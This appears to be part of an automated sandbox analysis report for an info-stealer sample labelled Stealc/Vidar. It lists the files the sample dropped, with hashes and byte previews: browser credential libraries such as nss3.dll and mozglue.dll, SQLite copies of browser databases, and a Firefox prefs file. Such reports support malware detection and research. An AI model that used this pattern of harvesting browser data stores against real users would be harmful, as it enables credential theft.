C:\ProgramData\chrome.dll	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAAAKJKJEBGHJKFHIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAFBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2679145808592298
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0Jh91LyKOMq+8iP5GLP/0r
MD5:	AF59B5F371882768317035C75F1B6D15
SHA1:	6FFD27ACFDF802D7B382502F4C3EB416F7068654
SHA-256:	55B91BDC248413262FD3A05E53EACE6693CC0AE84D4027889DBC78083685714B
SHA-512:	BD95C57C325639D4B26B093A94FB2D0FE271783970C43346D16AB25F04D12D2F846437EDA1D08919E09C6B533C5D561F3E976DD8D5010306AB07E7AC2F9214AC
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKJKFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGCFIIEBKEGHJJJJJJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCAEHDBAAECBFHJKFCFBFIDHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIDAKKJJJKKECAKKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KEHCGCGCFHIDBFHIIJKJKKEGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: kj5la5X8gv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5BQwrSLxIZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Uviv7rEtnt.exe, Detection: malicious, Browse Filename: pWz7aRypjY.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: sYYK13hD0c.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\06d146e9-560e-4597-8f65-29ae2bd62f8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46430
Entropy (8bit):	6.086178145597678
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgxKFJ+i1zNtq7qS9ELz1Y5bnBhy1DhuCiokJDSgzMMd6qD47ur:JMk1rT8HRKw71T014FoktSmd6qE7e
MD5:	4C41F131DAE367E7664C97899A2133E0
SHA1:	8D114362BFB0B01FA574C27E39CB46B1D1282A0C
SHA-256:	F8497D4883DDD4BF94C60B6AD7D2122729D4D954F848B70C952CE74C7F34BD04
SHA-512:	95C709B8D1A2A1F6EFC632DB2B171E27FC7F2428E23CE36F16B92D4A497DF2815886CC390C549973FDABA7C816B41331E377AFE9D1F25FA8C032B23F9C2D009A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374732868756683","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f148dd1b-510f-4697-a696-bde87a18b24a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2a48d049-9a53-4335-84ee-e034ff814b7f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.094671728320757
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcPi1zNtq7qSN3pKP14wELDPKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynR71LKtSmd6qE7lFoC
MD5:	87EFE0E153B414CD235E95938467C2BC
SHA1:	757B63195584BEB02BD83E15D6D483148886C755
SHA-256:	4E684A022009413E03E6E64BB6EC5DA22F495CE5B175E8F198FF03E74B898E01
SHA-512:	E21E84E7BD964CF1086F12C3771C50C24CFCBF2572C228F0814EE11972E886FD1A2E738075E006CE0AAB1A6E702B5292FE8D5A6215F287783BA7D4E9E0584F2B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\42e70bee-1f97-42f4-8b38-9de247bc9cc4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46507
Entropy (8bit):	6.086102401802925
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgKKFJ+i1zNtq7qLELz1Y5bnBhy1DhuCiokJDSgzMMd6qD47u37:JMk1rT8HqKw7C014FoktSmd6qE7e
MD5:	35FADBD2732B205261616B1D763E1937
SHA1:	ECCA19E584BCA2CCA0660B9CD71E54DBF748B436
SHA-256:	441BA2C56F2FD45CBE11611653AF8DB808A4DECA0C4C0F9BF02A546D958EFEE5
SHA-512:	248833C1B4EEFD1947138A7133EDB4E6F2BAC19D30581B45D15CDFB492FFC2F692EE2112CD4EE0053DE0633BBD7CB136090EE339F8DE09F00A124BC1269CDDC7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374732868756683","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f148dd1b-510f-4697-a696-bde87a18b24a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\909f726e-37f5-4346-ac4e-dbded7a19105.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
